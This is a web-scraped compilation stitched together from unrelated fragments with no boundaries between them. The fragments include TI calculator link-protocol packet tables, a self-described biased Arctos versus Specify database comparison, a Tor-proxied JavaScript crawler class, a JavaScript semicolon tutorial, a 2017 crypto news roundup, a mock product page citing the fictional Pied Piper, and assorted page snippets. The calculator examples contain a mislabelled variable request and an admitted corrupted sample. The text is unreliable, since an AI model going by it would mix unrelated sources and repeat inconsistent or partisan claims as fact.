Because silent linking protocols are one-sided (i.e. the user interaction is solely on the computer), there are three different transfer sequences required. First a directory listing must be downloaded from the calculator in order to choose the variables to transfer or to check for duplicate names and out-of-memory conditions. Then, if variables are to be downloaded, a variable request action must be initiated by the computer. Finally, if variables are to be uploaded, a request-to-send action must be sent by the computer.
The protocol for requesting a directory listing is shown below. For information on packet formats, click here.
| Step | Direction | Packet | ||
|---|---|---|---|---|
|
|
|
|
|
REQ with data type=1Ah (see note under Type ID's for variable header format) and with a particular filter. |
|
|
|
ACK | ||
|
|
|
VAR - a variable information packet (see format below) | ||
|
|
|
ACK | ||
|
|
|
CTS | ||
|
|
|
ACK | ||
|
|
|
DATA - a variable entry (see format below). | ||
|
|
|
ACK | ||
|
|
|
CONT or EOT - if CONT, then go to step 4. | ||
|
|
|
ACK |
The request has the following format according to the operation (global directory list or local directory list):
| Offset | Length | Description |
|---|---|---|
| 0 | 4 bytes | Always {00h, 00h, 00h, Fl} where Fl is a vartype filter. This allow to only list variable of a given type. It is always 1Fh (directory type) when a global dirlist is required or 1Bh when a local directory list is required in a particular folder. |
| 4 | 1 bytes | This byte always has a value of 1Ah (directory list request). |
| 5 | 1 byte | The length, in characters, of the name field. Here, it is always 0. |
The data in the variable information packet has the following format:
| Offset | Length | Description |
|---|---|---|
| 0 | 4 bytes | Unknown. |
| 4 | 1 bytes | This byte always has a value of 1Ah (directory list type). |
| 5 | 1 byte | The length, in characters, of the name field. Always 04h. |
| 6 | 4 bytes | The name of the current folder. Always "main". |
| 10 | 1 byte | Unknown, always 03h. |
The var section (data packet) is made up of several entries.
| Offset | Length | Description |
|---|---|---|
| 0 | 4 bytes | These four bytes always have a value of 0. |
| 4 | n bytes | Data section: variables, FLASH applications and folder entries are listed here. |
| Offset | Length | Description |
|---|---|---|
| 0 | 8 bytes | Variable name padded with NULL chars if necessary. |
| 8 | 1 byte | Variable type ID. |
| 9 | 1 byte | Variable attribute: 00h = unlocked, 01h = locked, 03 = archived. |
| 10 | 4 bytes | If folders are listed (phase 1), this field contains the number
of variables in this folder. If variables are listed (phase 2), this field contains the length, in bytes, of the variable data for this variable without the extra four bytes at the beginning of the data packet. |
| 14 | 8 bytes | (V200 only) These eight bytes always have a value of 0. |
Note:
- with AMS < 2.08 : FLASH applications entries are listed both
in phase 1 and phase 2,
- with AMS >=2.08: FLASH applications entries are listed only in phase 2.
Example:
| PC: | 08 A2 06 00 00 00 00 1F 1A 00 39 00 | Global directory request (phase 1) |
| TI: | 98 56 00 00 | Acknowledgement of request |
| 98 06 0B 00 7E 00 00 0E 1A 04 6D 61 69 6E 03 52 02 | Variable header - complete directory starting with "main". | |
| PC: | 08 56 00 00 | Acknowledgement of header |
| 08 09 FF FF | Clear to send | |
| TI: | 98 56 00 00 | Acknowledgement of clear to send |
| 98 15 12 00 00 00 00 00 6D 61 69 6E 00 00 00 00 1F 00 00 00 00 03 66 13 | Variable entry - Unlocked folder "main" with threevariable | |
| PC: | 08 56 00 00 | Acknowledgement of variable entry |
| TI: | 98 92 00 00 | Continue - more variables in directory |
| PC: | 08 56 00 00 | Acknowledgement of continue |
| PC: | 08 68 00 00 | Check if TI is ready |
| TI: | 98 92 00 00 | The calc is ready |
| PC: | 08 A2 0A 00 00 00 00 1B 1A 04 6D 61 69 6E DE 01 | Local dirlist request in folder 'main' (phase 2) |
| TI: | 98 56 00 00 | Acknowledgement of request |
| TI: | 98 06 0B 00 38 00 00 0E 1A 04 6D 61 69 6E 03 A6 | Variable entry - "main" folder |
| PC: | 08 56 00 00 | Acknowledgement of continue |
| 08 09 FF FF | Clear to send | |
| TI: | 98 56 00 00 | Acknowledgement of clear to send |
| 98 15 3C 00 00 00 00 00 6D 61 69 6E 00 00 00 00 1F 00 00 00 00 03 78 00 00 00 00 00 00 00 00 00 05 00 00 00 79 00 00 00 00 00 00 00 00 01 05 00 00 00 7A 00 00 00 00 00 00 00 00 03 05 00 00 00 45 03 |
Folder entry - Folder "main" Variable entries - Normal variable "x", Locked variable "y" and Archiveded variable "z" |
|
| PC: | 08 56 00 00 | Acknowledgement of variable entry |
| TI: | 98 92 00 00 | End of transmission - no more variables |
| PC: | 08 56 00 00 | Acknowledgement of EOT |
| Step | Direction | Packet | ||
|---|---|---|---|---|
|
|
|
|
|
REQ with expected header including the folder name, if necessary |
|
|
|
ACK (see note below) | ||
|
|
|
VAR (specifing the size without the extra four bytes) with actual header and no folder name | ||
|
|
|
ACK | ||
|
|
|
CTS | ||
|
|
|
ACK | ||
|
|
|
DATA with an extra four bytes at the beginning of the packet | ||
|
|
|
ACK | ||
|
|
|
EOT | ||
|
|
|
ACK |
As with manual transfers, the data section contains the variable data. For information on variable formats, click here.
Example:
| PC: | 08 A2 0C 00 00 00 00 00 00 06 6D 61 69 6E 5C 79 80 02 | Request Known Variable "x" in the "main folder |
| TI: | 98 56 00 00 | Acknowledgement of request |
| 98 06 08 00 05 00 00 00 00 01 79 00 7F 00 | Variable Header: Real "x" (locked) | |
| PC: | 08 56 00 00 | Acknowledgement of variable header |
| 08 09 FF FF | Clear to send variable | |
| TI: | 98 56 00 00 | Acknowledgement of CTS |
| 98 15 09 00 00 00 00 00 00 03 0D 01 1F 30 00 | Variable data: x=12 | |
| PC: | 08 56 00 00 | Acknowledgement of variable data |
| TI: | 98 92 00 00 | End Of Transmission |
| PC: | 08 56 00 00 | Acknowledgement of EOT |
The protocol for sending a variable to the calculator is shown below.
| Step | Direction | Packet | ||
|---|---|---|---|---|
|
|
|
|
|
RTS (specifing the size with the extra four bytes) |
|
|
|
ACK | ||
|
|
|
CTS or SKIP/EXIT (see note below) | ||
|
|
|
ACK | ||
|
|
|
DATA | ||
|
|
|
ACK | ||
|
|
|
EOT - if there are several variables to transmit, steps 7 and 8 can be skipped until the last variable. | ||
|
|
|
ACK |
Again, the data section contains the variable data.
Example: (to do, my sample file is corrupted (strange, grrr!))
| PC: | 09 C9 0D 00 05 00 00 00 00 06 6D 61 69 6E 5C 78 03 87 02 | Request to send Real "x" in the "main" folder |
| TI: | 89 56 00 00 | Acknowledgement of request |
| 89 09 00 00 | Clear to send variable | |
| PC: | 09 56 00 00 | Acknowledgement of CTS |
| 09 15 0C 00 00 00 00 00 00 03 0C 01 1F 2F 00 | Variable data: 12 | |
| TI: | 89 56 00 00 | Acknowledgement of data |
| PC: | 09 92 00 00 | End Of Transmission |
| TI: | 89 56 00 00 | Acknowledgement of EOT |
|
Manual Transfers |
Table of Contents |
Backups |


This page has permanently moved to http://arctos.database.museum/info/avs.cfm. Please update your bookmarks.
The following is a probably-biased comparison of Arctos and Specify. We've tried to be fair, and we welcome feedback. Let us know if we've misrepresented something and we'll clarify.
| Attribute | Arctos | Specify | So what? |
|---|---|---|---|
| Description | Enterprise software, hardware, backups (one in Fairbanks, one in Austin, one in San Diego), professional systems administration. | Software. User responsible for hardware setup, sysadmin, backups, etc. | Arctos is a centralized system, in which an IT staff maintains the firewall, watches for intrusions, organizes and tests backup strategies, patches software, maintains hardware, and deals with all the other complexities of maintaining a system. We have security specialists, database administrators, systems administrators, and developers watching all aspects of Arctos for potential performance and security issues.
Specify is software. |
| Cost | Software freely available to noncommercial enterprises. Hosting, development, and administrative costs are shared and negotiable. | Free software, requires hardware, someone to maintain it, a defensible backup strategy, and network access. | Free software does not equate to free, or even affordable, implementation and maintenance, nor does it ensure the security of the public data with which you've been entrusted. |
| Development Model | Release early, release often. Let users intimately guide every aspect of progress. Formalized issue tracking, Steering Committee, Advisory Committee. | Release infrequently. May consider user input from the Specify Forum. | Arctos is 100% built in close cooperation with actual users. The development team's primary job is to generalize the specific needs of the users so that all Arctos participants can benefit from seemingly unrelated projects. For example, funding to link MVZ's bird call library to specimens resulted in developments that also allow us to serve bat calls, herbarium sheet images, historic field photographs, and videos of modern collecting activities. |
| Data Model | Highly normalized; easily "pluggable" and expandable. 83 tables, 836 columns. | Denormalized. 143 tables, 2400 columns (1 May 2009) | Normalized structures, while sometimes more difficult to maintain, allow much greater flexibility, make future data manipulations and migrations much more trustworthy, and allow us to very easily "plug in" external resources, such as TACC, GenBank, and BOLD. |
| Back End | Oracle is an enterprise-class RDBMS known for its concurrency management and stability. | MySQL is a lightweight open-source RDBMS designed for fast query access. Not designed for archival usage. Limited concurrency management. | Oracle is bulletproof and comes with a formalized support community. MySQL is a popular open-source package with many known vulnerabilities |
| Business Rules | In DB, where they're always enforced. | In application layer, where they may be bypassed (by DB updates, add-on applications, or Application bugs) | This problematic and untrustworthy arrangement in Arctos's direct ancestor largely influenced Arctos's advanced model. Any activity that bypasses the application layer - like a simple SQL update - also bypasses all business rules that reside in the application layer. |
| Permissions | In DB, where they're always enforced. May be used to define Virtual Private Databases. | In application layer. | Any activity that bypasses the application layer - like a simple SQL update - also bypasses all permissions that reside in the application layer. MySQL provides limited user partitioning. |
| Security | Independent layers in application and DB. Professionally managed and audited. | In application layer, determined by system administrator. | "Application-level security" is notoriously susceptible to hacking, particularly when implemented over a "soft" environment, such as MySQL. Arctos runs an Enterprise-class front end over a hardened, Enterprise-class backend. No security threat has ever penetrated either layer. |
| Front End | ColdFusion (system works under PHP, Java, et al.) | Java (including business rules) | While ColdFusion is our heavy lifter, our back end, security, and data model architecture allows us to confidently interact with data through any sort of plugin, written in any language, including command-line SQL. |
| Bulk Import | No practical record limit. | 2000-row limit. | Anything from a collector's data file to an entire collection from a legacy database may be imported into Arctos. |
| Interfaces | Intuitive customizable web applications. | "Roll your own" queries against tables. | Arctos presents data in the context of specimens, projects, publications, and other intuitive "nodes." |
| Taxonomy | Formal separation of taxonomy and determinations. Accommodates composite taxonomy (hybrids, multiple taxa in one object) through identification formulae. | Determinations treated as taxonomy. | More than a matter of formality, this allows us to describe complex relationships among and between taxonomy (e.g., multi-generational hybrids are well within our capacities), and to be as precise or as imprecise as the data allow. It also gives us the opportunity to utilize external taxonomic resources, should they become available. |
| Object Tracking | Individual Specimen Parts are tracked and loaned. | Cataloged Items are tracked and loaned. | Contrary to traditional models, "cataloged items" are nothing but abstract assemblages of parts. Parts (which can be anything from a whole animal to an organ subsample) are the traceable atomic entity, and tracking them allows us to deal with the realities of loans, storage, and mislabeling at the most appropriate level. |
| Online Access | Integral | Coming soon? Limited to query only? Limited data available? | Arctos is and always has been online, where we continue to lead the way in communication between related databases, such as GenBank. |
| Batch edits | Most data; many access points | None | Most everything in Arctos can be done to multiple specimens concurrently, in ways that reflect handling practices. |
| DiGIR/Tapir | Integral and automatic. Live data served. | Coming soon? Manually maintained cache. | Arctos has always been at the forefront of online communications, and we intend to stay there, influencing and inspiring the larger community. |
| Media | Any file or application, related to any data "node." Stored anywhere on Internet, or uploaded to server. ( +100K images and sound files.) | Stored on local filesystem or MorphBank. Relate to?????? | Arctos deals elegantly with everything from images of herbarium sheets to historic photographs of collecting events to bird call observations, and allows users to store Media anywhere in any format. It's all online - give it a try! |
| System Requirements | Reasonably modern browser and Internet access | "Lowest common denominator" | While Specify may be capable of running on consumer-grade hardware, we would suggest that Museums' commitment to data preservation should preclude such activity. |
| Publications/Citations | Inherent | Unclear | Arctos has a commitment to allowing museums to prominently demonstrate their inherent value through usage. Loans, Borrows, Accessions, Publications, Citations, and Projects allow us to demonstrate any level of specimen acquisition and usage, from well-cited formal publications to graduate projects to elementary school classroom projects. |
| Living Collections | No apparent obstacles, but untested. | Possible future development if the community wants to develop a separate schema. | Thusfar, our normalized model has allowed the seamless addition of many collection types. Paleontology required one additional table, an easy addition thanks again to our normalized schema. We see no obstacles to adding living collections. |
| Business Model | Short-term NSF and institutional (MVZ, UAM, MCZ, & MSB) support. | Short-term NSF and institutional support. | |
| Data Quality | Defined and enforced by the Arctos community. | Left to individual operators. | Arctos is a community, and we do strive to do things "the right way." That sometimes requires collections to reconsider their standards and procedures. We've had no unresolveable differences, and we present a strong community front that influences standards for organizations such as GBIF. |
| Customizations | User-customizable search and results. Collection-specific appearance and CSS. | Operator customizable search and results. | Arctos users can control how they search for and present data. Collections can customize the look and feel of Arctos through their Virtual Private Database portal. |
| Mapping | BerkeleyMapper, Google Maps, Google Earth, download KML. Uncertainty represented as error circles. | Point mapping via downloadable KML | Much of the value of geospatial data attached to specimens is in its error estimates. Arctos faithfully represents those data in many customizable formats. We pioneered communication with BerkeleyMapper, and are leading the way in adding rangemaps to BerkeleyMapper's capabilities. |
| Saved queries | Save, name, email dynamic queries | Save static results sets. Email to agents with email addresses. | Arctos users can easily bookmark and return to specific, dynamic data sets. |
| Taxon-specific attributes | User-definable, infinitely expandable determinations. Allows adding any biological collection. | Predefined assertions. | This is really an extension of normalization. Specify's schema is full of fields called "Number42" or "Text12," which are labeled at the interface level and used for flexibility and operator customization. These are easy to program, and work reasonably well if one can reliably predict just how many and what types of data will show up. We find that an impossible task, and have normalized such structures. Arctos data are clearly labeled (I would hate to be the programmer who figures out that "Number42" has been used to multiple types of values over the years, a fact only recorded in one particular application!) and infinitely expandable. We can record any number of determinations (even of the same attribute - e.g., age based on cementum layers from various teeth or by various labs), along with date, determiner, and method. |


Welcome to BarterMe
A causal yet classy bagpack for
your everyday needs and travel.
Good old Timeless Ray-Ban up for
leveling up your vintage looks.In
perfect condition.


{%- from "govuk/components/button/macro.njk" import govukButton -%} {%- from "govuk/components/date-input/macro.njk" import govukDateInput -%} {%- from "govuk/components/fieldset/macro.njk" import govukFieldset -%} {%- from "govuk/components/input/macro.njk" import govukInput -%} {%- from "govuk/components/textarea/macro.njk" import govukTextarea -%}


let {logger} = require("./library/logger");
const http = require("http");
const cheerio = require("cheerio");
const nightlink = require("nightlink");
const ProxyAgent = require("proxy-agent");
/**
* Spider class
* @deprecated
*/
class Spider {
/**
* Initializes the spider and starts spidering right away.
* @constructor
* @param {int} torPort - The port used to connect to the tor network
* @param {string[]} startUrls - Bootstrap list of urls to start the spider
* @param {int} depth - Cutoff value for scraping the network. After
* this number of rounds, we stop the spider.
* @param {DB} db - The DB object used to access the db backend.
*/
constructor(torPort, startUrls, depth, db) {
// Please note: only start the spider, when the tor agent is set
logger.info("start_url: " + startUrls);
this._startUrls = new Set(startUrls);
logger.info("this._startUrls: " + this._startUrls);
this._visitedUrls = new Set();
this._initDepth = depth;
this._torPort = torPort;
this._torAgent = null;
this._db = db;
const run = async () => {
const tor = await nightlink.launch({
SocksPort: torPort,
});
logger.info("Tor up and running");
this._torAgent = tor;
this.startSpidering();
};
run();
}
/**
* Extracts links from the fetched document and stores it in the DB
* @param {string} currentUrl - The url of the fetched document.
* @param {string} currentPath - The path of the fetched document.
* @param {html|json} body - The documents content.
*/
async extractAndStoreData(currentUrl, currentPath, body) {
// Load data to cheerio/jquery interface
const $ = cheerio.load(body);
$("a").each((i, elem) =>{
// logger.info("currently looking at element: ", elem);
});
}
/**
* Downloads the document and checks for MIME Type
* @param {string} url - This is the hosts url.
* @param {string} path - This is the path which should be downloaded.
*/
async scrape(url, path) {
logger.info("[spider.scrape] == Params: url=" + url);
// stores a tuple of url, content and list of found urls
// (content for later classification) in the database
let proxyUri = "socks://<IP_ADDRESS>:" + this._torPort;
let request = {
method: "GET",
host: url,
path: path,
agent: new ProxyAgent(proxyUri),
};
// TODO: replace code below with a callback function
const onresponse = async (response) => {
logger.info(response.statusCode, response.headers);
const {statusCode} = response;
/* Based on the content type we can either store or forget the
* downloaded data. E.g. we do not want to store any images, so we
* only make a remark that specified URL returns image data
* instead of html
*/
const contentType = response.headers["content-type"];
let body;
if (statusCode != 200) {
logger.error("[spider.scrape.onresponse] Request faile.\n" +
`Status Code: ${statusCode}`);
response.consume();
return;
} else if (!/\btext\/[jsonxhtml+]{4,}\b/.test(contentType)) {
/* For now we only store the textual html or json representation
* of the page. Later on we could extend this to other mime
* types or even simulating a full client. This could be done
* to circumvent any countermeasures from the website itself.
* Further, we then could also see the effects of potential
* scripts, using a screenshot we then could analyse the content
* with an image classifier, compare (Fidalgo et al. 2017)
*/
console.warn("Unsupported MIME Type. \n"+
`Only accept html and json, but received ${contentType}`);
body = "[Unsupported MIME Type]";
this._db.insert_response(
url,
path,
body,
true /* success_flag */,
false /* contains_data */
);
} else {
response.setEncoding("utf8");
let rawData = "";
response.on("data", (chunk) => {
rawData += chunk;
});
response.on("end", () =>{
// callback to async extraction methods
try {
logger.info(rawData);
body = rawData;
this._db.insert_response(url, path, body);
this.extractAndStoreData(url, path, body);
} catch (e) {
logger.error("[spider.scrape.onresponse] " + e.message);
}
});
}
};
http.get(request, onresponse).on("error", (err) => {
logger.info(
"http request for url [" + url + "] failed with error \n" +
err.message + "\""
);
this._db.insert_response(
url,
path,
"Error: http request failed",
false /* success_flag */
);
});
}
/** Starts the spider */
startSpidering() {
let iteratableUrlArray = Array.from(this._startUrls);
for (let i = 0; i<iteratableUrlArray.length; i++) {
logger.info("URL: " + iteratableUrlArray[i]);
this.scrape(iteratableUrlArray[i], "/").catch(function(err) {
logger.warn(
"An error occured while scraping the website with URL\n" +
iteratableUrlArray[i] +".\nThis was caused by " +
err.message);
});
}
}
}
exports.Spider = Spider;


Please read the following information before continuing:
To load a previous session, click on File -> Load, then select from the popup box
To import a model, go to File -> Import
Once imported, adjust the aircraft dimensions on the right to match that of your selected model
To import preset antenna positions, press File -> Import Antennas
To add an antenna, click on Add -> Antenna and then enter in the desired starting coordinates - or - check 'Antenna Snapping' to the right and click on the model to add antennas
To start a new visualization, press File -> New
You may export antenna patterns to either XML or CSV files using the appropriate buttons under 'File'
Likewise, to export an entire scene (model and antennas) use the 'Export Scene' button
When an object is selected, you can adjust various characteristics from 'Object' menu on the sidebar
You may also move an antenna along any axis by moving the axis arrows once it's selected
If you do notice any issues with the application, please let us know on our github page. Enjoy!


Minimum Members: 1   Maximum Members: 3
“Good DESIGN is a lot like clear thinking made visual." -- Claire
An event for the designing enthusiasts (especially from Mechanical and Civil Engineering). Participants would be required to solve their way out of a problem statement set forth to them in order to emerge victorious in the event. Mechanical Engineering students would be required to design a kart or some other machine component in the slot of time provided to them and the ones with the most efficient design will finish at the top of the podium. Civil Engineering students would be required be the architect of a house or a market of given square footage wherein they’ll not only be required to allocate spaces to various requirements but also have definite positions for beams and pillars.
Problem Statement ::
Rounds and details ::
Rules ::
Judging Criteria ::
FREQUENTLY ASKED QUESTIONS ::
· Q1: Will stationary and other required material be provided?
Ans: For the students using designing platform need to bring their laptops with pre installed softwares. For the students who wish to work on paper, chart papers or A4 sheets will be provided as per requirements. However they need to come prepared with rulers, pencils and erasers.
· Q2: Will any questions be put up by the judges regarding the proposed design?
Ans: Yes. The designer needs to justify each and every step taken by him/her.
· Q3: Is any pre registrtation required?
Ans: Students are advised to register themselves before hand. However on spot entries are also welcome.
· Q4: When will the design criteria or problem statement be provided?
The problem statement will be provided on the spot at the time of the event.


Love Christmas Lights? Find the Best Displays in your Area!
{{list.message}}
{{list.signature}}
{{list.rating}}
Accurate, but will take a few seconds to load.
"I wanted to show my daughter the lights in our area. This site makes it easy!"
"I had no idea what beautiful displays my neighbors have created until the site showed these listings."
"This site is only useful once a year."


Contact Us
Your membership supports our mission to promote the appreciation and understanding of wildlife conservation through preservation, education, and rehabilitation.
Benefits of membership include free admission seven days a week, bi-monthly newsletter - The Gray Fox Gazette, reduced fees on programs, reciprocal admission to over 170 other nature centers across the U.S, 10% discount in our Nature Shop and full use of our Nature Library!
Forms
- BNC Membership Form
- ANCA Reciprocal Member List
- BNC Adult Volunteer Form - Become a BNC Volunteer! We need your help! Volunteers form the backbone of Brukner Nature Center. We could not possibly reach all of our goals without your support. We have opportunities for all ages, skill levels and interests. From mowing grass to baking cookies to leading school groups...come join our family today! Simply fill out a Volunteer Form and mail to: Brukner Nature Center 5995 Horseshoe Bend Rd. Troy, OH 45373 or e-mail to<EMAIL_ADDRESS>- Internship Program Opportunities - Become an Intern or Extern! We are looking for a dynamic, energetic individuals searching for that stepping stone into the environmental world. Brukner Nature Center offers a 6-month internship program for qualified individuals. For detailed information please go to the link below.
- Gray Fox Gazette Newsletter
Meet our Directors
DEB OEXMANN
Executive Director
<EMAIL_ADDRESS>JUNE DRIELING
Director of Education
<EMAIL_ADDRESS>JUNE DRIELING
Director of Education
education@bruknernaturecenter.com


Lorry and Audi A4 crash on A14
by Adam HowlettEmergency services have attended the scene of a crash between a lorry and a car on the A14 near Woolpit.
Police were called to the scene of the collision, on the eastbound carriageway, at around 6.05pm today, Tuesday, November 19.
A police spokesman said the crash had happened between junction 46 at Beyton and junction 47 at Woolpit and involved a red Audi A4 and a heavy goods vehicle.
He added there are no reports of any injuries as a result of the crash.
There was a brief closure of both lanes while the vehicles were removed from the road, however one lane was later reopened.
A fire crew from Mildenhall was also send to the scene but were soon stood down.
The road has since been cleared and traffic is flowing as normal.


Select a file to upload:
Click the button below to find out which type of form element the FileUpload object is.
Try it


I’m barely making it in before the day comes to a close but here are some of the stories I seen today that stood out most to me.
I found out that we’re moving down the value names for a new Bitcoin fork, possibly seeing one of the largest retailers in the world accept Bitcoin for payment and personally been disappointed in Coinbase’s stance. I hope you enjoy and please leave a comment below!
Ready for Another Fork?: Bitcoin Silver Is On The Way!
Bitcointalk user Simonsolo dropped a new potential fork to the world yesterday. Yes you heard that right another new fork of bitcoin.
The similarities to Bitcoin Gold don’t end with just the naming either. The Bitcointalk post lists 4 main bullet points such as decentralization, fair distribution, replay protection and transparency all the same as what are listed on Bitcoin Gold’s website. It goes even deeper, they will also share the same proof of work algorithm Equihash which is what’s credited for the decentralization of Satoshi’s vision of “one CPU on vote.”
Who’s with me to do Bitcoin Bronze in January?
Source: https://bitcointalk.org/index.php?topic=2311582.0
Potential Amazon Bitcoin Announcement?
Back in September, The James Altucher Report stated that Amazon could make an announcement as early as their next earnings call that the retail giant would begin accepting Bitcoin. This was then picked up by Squawker.org who went on to note that Amazon Web Services had begun working with Digital Currency Group back in 2016.
With the rumor now swirling, it led to an article from Die Welt, a German national newspaper, that stated rumors were running in Silicon Valley that Amazon would soon accept the digital currency. This was further echoed by Cointelegraph today with another article on the topic.
You can already shop on Amazon using Bitcoin with Purse.io but having another company the size of Amazon supporting it natively would definitely give a strong use case for the revolutionary ledger. While on that thought, what an excellent acquisition Purse would actually make for the retail giant. Not only would you be picking up a company that is already saving your customers 20% over you own prices, you’d also get some of the brightest minds in the industry.
Source: https://squawker.org/technology/breaking-amazon-will-accept-bitcoin-by-october/
Coinbase Reverses Course on Bitcoin Naming
After issuing a blog entry on Monday stating that they would operate by naming the traditional bitcoin chain Bitcoin and refer to the forked chain as Bitcoin2x. Yesterday they then released a clarification stating they would be calling “the chain with the most accumulated difficulty Bitcoin.”
This immediately brought back the nervousness of the fork for many while others questioned the logic. If Coinbase was going to name the chain with the most most difficulty wouldn’t that mean that Bitcoin Cash should have shared the label of Bitcoin anytime it had surpassed traditional Bitcoin’s difficulty.
Will we see a new clarification issued reversing the reversal? I have to hope so, for Coinbase’s sake.
Source: https://blog.coinbase.com/clarification-on-the-upcoming-segwit2x-fork-d3c0f545c3e0
This page is synchronized from the post: ‘Ready for Another Fork?, Amazon Accepting Bitcoin, Coinbase Change of Heart - Crypto Industry News 10/25/17’


The first thing we’ll study is the building blocks of code.
Statements are syntax constructs and commands that perform actions.
We’ve already seen a statement, alert('Hello, world!')
, which shows the message “Hello, world!”.
We can have as many statements in our code as we want. Statements can be separated with a semicolon.
For example, here we split “Hello World” into two alerts:
js run no-beautify alert("Hello"); alert("World");
Usually, statements are written on separate lines to make the code more readable:
js run no-beautify alert("Hello"); alert("World");
A semicolon may be omitted in most cases when a line break exists.
This would also work:
js run no-beautify alert("Hello"); alert("World");
Here, JavaScript interprets the line break as an “implicit” semicolon. This is called an automatic semicolon insertion.
In most cases, a newline implies a semicolon. But “in most cases” does not mean “always”!
There are cases when a newline does not mean a semicolon. For example:
js run no-beautify alert(3 + 1 + 2);
The code outputs 6
because JavaScript does not insert semicolons here. It is intuitively obvious that if the line ends with a plus "+"
, then it is an “incomplete expression”, so the semicolon is not required. And in this case that works as intended.
But there are situations where JavaScript “fails” to assume a semicolon where it is really needed.
Errors which occur in such cases are quite hard to find and fix.
````smart header=“An example of an error” If you’re curious to see a concrete example of such an error, check this code out:
js run [1, 2].forEach(alert)
No need to think about the meaning of the brackets []
and forEach
yet. We’ll study them later. For now, just remember the result of the code: it shows 1
then 2
.
Now, let’s add an alert
before the code and not finish it with a semicolon:
```js run no-beautify alert(“There will be an error”)
[1, 2].forEach(alert) ```
Now if we run the code, only the first alert
is shown and then we have an error!
But everything is fine again if we add a semicolon after alert
: ```js run alert(“All fine now”);
[1, 2].forEach(alert) ```
Now we have the “All fine now” message followed by 1
and 2
.
The error in the no-semicolon variant occurs because JavaScript does not assume a semicolon before square brackets [...]
.
So, because the semicolon is not auto-inserted, the code in the first example is treated as a single statement. Here’s how the engine sees it:
js run no-beautify alert("There will be an error")[1, 2].forEach(alert)
But it should be two separate statements, not one. Such a merging in this case is just wrong, hence the error. This can happen in other situations. ````
We recommend putting semicolons between statements even if they are separated by newlines. This rule is widely adopted by the community. Let’s note once again – it is possible to leave out semicolons most of the time. But it’s safer – especially for a beginner – to use them.
As time goes on, programs become more and more complex. It becomes necessary to add comments which describe what the code does and why.
Comments can be put into any place of a script. They don’t affect its execution because the engine simply ignores them.
One-line comments start with two forward slash characters //
.
The rest of the line is a comment. It may occupy a full line of its own or follow a statement.
Like here:
```js run // This comment occupies a line of its own alert(“Hello”);
alert(“World”); // This comment follows the statement ```
Multiline comments start with a forward slash and an asterisk /*
and end with an asterisk and a forward slash */
.
Like this:
js run /* An example with two messages. This is a multiline comment. */ alert("Hello"); alert("World");
The content of comments is ignored, so if we put code inside /* … */
, it won’t execute.
Sometimes it can be handy to temporarily disable a part of code:
js run /* Commenting out the code alert('Hello'); */ alert("World");
smart header="Use hotkeys!" In most editors, a line of code can be commented out by pressing the `key:Ctrl+/` hotkey for a single-line comment and something like `key:Ctrl+Shift+/` -- for multiline comments (select a piece of code and press the hotkey). For Mac, try `key:Cmd` instead of `key:Ctrl` and `key:Option` instead of `key:Shift`.
```warn header="Nested comments are not supported!" There may not be
/…/inside another
/…/`.

Comments increase the overall code footprint, but that’s not a problem at all. There are many tools which minify code before publishing to a production server. They remove comments, so they don’t appear in the working scripts. Therefore, comments do not have negative effects on production at all.
Later in the tutorial there will be a chapter info:code-quality that also explains how to write better comments.


What is Destiny?
Destiny by Quo Vadimus launches your company into tomorrow.
Our leading edge app connects all the dots between development and release into one
simple and seamless experience.
What is your Destiny?
Destiny allows you to lead rather than focus on the minor details.
You have big plans for your company.
Let Destiny help fulfill yours.
Experience your Destiny on the following platforms
BREAKING NEWS
Quo Vadimus is proud to announce that we have acquired Pied Piper. Pied Piper and its breakthrough "Middle-Out" compression technology is an amazing addition to the Quo Vadimus family.
CURRENT CUSTOMERS
Found an issue in the Destiny app? Let us know here.
Got an idea for a new Destiny feature or want to donate? We've got you covered here.
Fly Higher. Faster.
Backed by our industry leading infrastructure, you never have to worry about downtime.
Our datacenter uses the latest technologies in servers, storage, networking, and security to provide you with the fastest and most reliable back-end solution.
Destiny will be there whenever and wherever you go.
Simple. Reinvented.
Destiny was designed to help and never impede your company's growth. We've built the app
from the ground up, leaving no stone unturned. Our intuitive user interface lets you get things done in seconds, not hours.
Mobility. Agility. Destiny.
The world is moving faster than ever. You need to pivot quickly and adjust to the needs of your customer.
Destiny will be in lockstep with your every movement.
{% endblock %}


Without zoom-to-include-markers
With zoom-to-include-markers='true'
With zoom-to-include-markers='auto'
Please click on map to add more markers
custom-marker zoom-to-include-markers='auto'
Please click on map to add more markers
position: {{p.pos[0]}}, {{p.pos[1]}}


Written by Foxtrot
This module allows you to control the LEDs behaviour on both the NANO and the TETRA.
LEDs have been reset to defaults.
LED Configuration Updated


Visualizes a bounding volume hierarchy (BVH) generated for the torus knot mesh. It can be used to speed up various computational tasks like ray intersection tests.


‘Old lady’ wants nonprofits to stop sending letters asking for donations
by John CrudeleDear John: I am an old lady — 89 next month. Very old, very poor and sick!
How do I stop nonprofit organizations from sending letters asking for donations?
Your kind consideration to stop these letters will be greatly appreciated. A.P.
Dear A.P.: There is nothing you can do about letters being sent to you. Or even about phone calls soliciting money.
Don’t waste your time with them. Throw away the letters, and hang up on the callers.
I know it sounds rude, but it’s the only way to combat unsolicited requests for money.


The events of the InputDevice class are listed below. For a complete list of InputDevice class members, see the InputDevice Members topic.
| ControlChange | Event called when an input device receives a Control Change message. |
| NoteOff | Event called when an input device receives a Note Off message. |
| NoteOn | Event called when an input device receives a Note On message. |
| PitchBend | Event called when an input device receives a Pitch Bend message. |
| ProgramChange | Event called when an input device receives a Program Change message. |
InputDevice Class | Midi Namespace | Clock | InputDevice


--- layout: portfolio type: ui ---
My project for my summer internship at MITRE was for the Air Force in personnel recovery, and as such I can't display it here. However, I can say that I took on the whole design and implementation of the user interface for the time I was on the project. I used Twitter Bootstrap 2.3 and jQuery on top of a Sinatra backend to create an interactive prototype that the core backend developer has since started layering on top of his work. I also used CouchDB and HTML5 LocalStorage for persistence.
For one part of the project, I took a 3 page PDF form and an ugly old UI from the current system and transformed them into a smooth, usable mult-page form. I worked through the complete process of design from start to finish. I began on paper and moved to static HTML. Then I divided up the HTML into templates and integrated interactivity. I saught out users within MITRE, asked them to test the system and provide feedback. Finally, I made many of the suggested improvements.
This project was a valuable learning experience. I learned javascript, jQuery, Sinatra, CouchDB, and Bootstrap. I was able to put into practice the design processes I'd learned at school and got an insiders look at what it is like to work on a military-sponsored project.
My web engineering class was challenged to create a web application using C#.NET that included basic Facebook integration, a chat room, stock tracking and calendar functionality. It was quite a challenge for ~10 weeks and teammates with varied backgrounds in web design. I only knew HTML and CSS like 2 of my other teammates. Lucky for us the remaining two members knew their stuff!
